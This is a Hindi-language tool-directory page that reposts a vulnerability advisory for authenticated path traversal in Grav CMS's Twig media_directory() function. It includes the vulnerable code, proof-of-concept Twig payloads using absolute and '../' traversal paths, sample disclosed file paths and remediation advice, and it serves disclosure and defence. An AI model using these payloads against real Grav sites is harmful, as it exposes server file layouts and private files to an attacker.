Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/slo-cyber-sec/cve-2026-78851
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

तकनीकी सलाह जो Grav CMS के Twig media_directory() फ़ंक्शन में प्रमाणित पथ-ट्रैवर्सल भेद्यता का विवरण देती है, जो मनमाने निर्देशिका गणना और फ़ाइलसिस्टम पथ प्रकटीकरण को सक्षम बनाती है।

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Grav प्रमाणित पाथ ट्रैवर्सल / Twig media_directory() के माध्यम से मनमाना डायरेक्ट्री खुलासा

रिपोर्टर

नाम: CYBER-SEC
संपर्क: [email protected]

सारांश

Grav का Twig फ़ंक्शन media_directory() पेज-कंटेंट Twig सैंडबॉक्स अनुमति सूची में उजागर है, लेकिन यह गैर-स्ट्रीम इनपुट के लिए पाथ संयम को ठीक से लागू नहीं करता है।

पेज-संपादन विशेषाधिकार वाला एक प्रमाणित उपयोगकर्ता Twig-सक्षम पेज कंटेंट के अंदर media_directory('/absolute/path') कॉल कर सकता है या media_directory('../../../../path') जैसे सापेक्ष ट्रैवर्सल का उपयोग कर सकता है। Grav फिर वेब सर्वर उपयोगकर्ता द्वारा पठनीय डायरेक्ट्रीज़ से मीडिया-प्रकार की फ़ाइलों को अनुक्रमित करता है।

लौटाए गए Medium ऑब्जेक्ट सैंडबॉक्स-अनुमत गुणों जैसे और को उजागर करते हैं, जिसके परिणामस्वरूप मनमाना डायरेक्ट्री गणना और पूर्ण फाइलसिस्टम पाथ खुलासा होता है। छवि/SVG फ़ाइलों के लिए, URL या कैश जनरेशन Grav के सार्वजनिक कैश हैंडलिंग के माध्यम से फ़ाइलों को उजागर कर सकता है।

filepath
filename

यह एक प्रमाणित सूचना खुलासा भेद्यता है। यह अप्रमाणित शोषण या प्रत्यक्ष रिमोट कोड निष्पादन की अनुमति देने के लिए ज्ञात नहीं है।

प्रभावित उत्पाद

उत्पाद: Grav फ्लैट-फ़ाइल CMS
रिपॉजिटरी: https://github.com/getgrav/grav
सत्यापित प्रभावित संस्करण: 2.0.3, 2.0.4, 2.0.6
घटक: Twig media_directory() / Grav पेज-कंटेंट Twig सैंडबॉक्स

CWE

  • CWE-22: प्रतिबंधित डायरेक्ट्री में पाथनाम की अनुचित सीमा ("पाथ ट्रैवर्सल")
  • CWE-200: अनधिकृत अभिनेता को संवेदनशील जानकारी का खुलासा

CVSS v3.1

वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
आधार स्कोर: 6.5 मध्यम

हमले की आवश्यकताएँ

  • हमलावर प्रमाणित होना चाहिए।
  • हमलावर के पास पेज-संपादन विशेषाधिकार होने चाहिए।
  • Twig कंटेंट प्रोसेसिंग सक्षम होनी चाहिए।
  • लक्ष्य डायरेक्ट्री वेब सर्वर उपयोगकर्ता द्वारा पठनीय होनी चाहिए।

तकनीकी विवरण

कमजोर सिंक यहाँ स्थित है:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

प्रासंगिक तर्क:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

केवल stream:// इनपुट Grav के लोकेटर के माध्यम से हल किए जाते हैं। गैर-स्ट्रीम पूर्ण या सापेक्ष पाथ बिना कैनोनिकल realpath() सत्यापन, ट्रैवर्सल अस्वीकृति, या अनुमोदित Grav-नियंत्रित डायरेक्ट्रीज़ तक संयम के new Media($media_dir) में यथावत पारित किए जाते हैं।

फ़ंक्शन पेज-कंटेंट Twig सैंडबॉक्स अनुमति सूची के माध्यम से उजागर है:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

सैंडबॉक्स Medium विधियों/गुणों की भी अनुमति देता है जैसे:

root@kitploit:~
filepath
filename
url
cache
resize

यह एक प्रमाणित पेज संपादक को मनमानी पठनीय डायरेक्ट्रीज़ से फ़ाइलनाम और पूर्ण पाथ खुलासा करने की अनुमति देता है। छवि/SVG फ़ाइलों के लिए, सार्वजनिक URL/कैश जनरेशन फ़ाइल सामग्री को उजागर कर सकता है।

प्रूफ ऑफ कॉन्सेप्ट

Twig कंटेंट प्रोसेसिंग सक्षम होने पर, एक Grav पेज बनाएं या संपादित करें और डालें:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

ट्रैवर्सल रूप:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

छवि/SVG खुलासा उदाहरण:

root@kitploit:~
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}

जब पेज सहेजा और प्रस्तुत किया जाता है, Grav हमलावर-नियंत्रित पाथ से फ़ाइलों को अनुक्रमित करता है और फ़ाइलनाम और पूर्ण फाइलसिस्टम पाथ उजागर करता है।

सत्यापित व्यवहार

linuxserver/grav:latest Docker छवि का उपयोग करके Grav 2.0.6 के विरुद्ध सत्यापित किया गया।

देखे गए परिणाम शामिल थे:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

सापेक्ष ट्रैवर्सल की भी पुष्टि की गई:

root@kitploit:~
../../../../app/www/public

.url के माध्यम से SVG फ़ाइल खुलासा भी नियंत्रित स्थानीय परीक्षण वातावरण में पुष्टि की गई।

प्रभाव

एक प्रमाणित पेज संपादक यह कर सकता है:

  • वेब सर्वर उपयोगकर्ता द्वारा पठनीय मनमानी डायरेक्ट्रीज़ में मीडिया-प्रकार की फ़ाइलों की गणना करना।
  • पूर्ण फाइलसिस्टम पाथ और फ़ाइलनाम खुलासा करना।
  • एप्लिकेशन संरचना और सर्वर-साइड फाइलसिस्टम लेआउट का मानचित्रण करना।
  • नाम से संवेदनशील फ़ाइलों, बैकअप, कॉन्फ़िगरेशन फ़ाइलों, लॉग, या डिप्लॉयमेंट आर्टिफैक्ट्स की पहचान करना।
  • सार्वजनिक कैश या URL जनरेशन के माध्यम से इच्छित वेबरूट के बाहर छवि/SVG फ़ाइलों को संभावित रूप से उजागर करना।

यह भेद्यता खुलासा-श्रेणी की है और इसे रिमोट कोड निष्पादन के रूप में रिपोर्ट नहीं किया जाना चाहिए।

उपचार

अनुशंसित सुधार:

  1. पेज-कंटेंट Twig सैंडबॉक्स अनुमति सूची से media_directory हटाएं।

या:

  1. media_directory() पर सख्त कैनोनिकल पाथ संयम लागू करें:
  • realpath() का उपयोग करके सभी पाथ हल करें।
  • ट्रैवर्सल अनुक्रम वाले पाथ अस्वीकार करें।
  • अनुमोदित Grav-नियंत्रित रूट्स के बाहर हल होने वाले पाथ अस्वीकार करें।
  • केवल सुरक्षित रूट्स जैसे user://pages, user://images, या अन्य स्पष्ट रूप से अनुमोदित मीडिया डायरेक्ट्रीज़ की अनुमति दें।
  • फ़ाइल अनुक्रमण से पहले और कैश/URL जनरेशन से पहले पाथ को फिर से सत्यापित करें।

खुलासा

यह मुद्दा CYBER-SEC द्वारा रिपोर्ट किया गया था।

संदर्भ

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
टूल डाउनलोड करें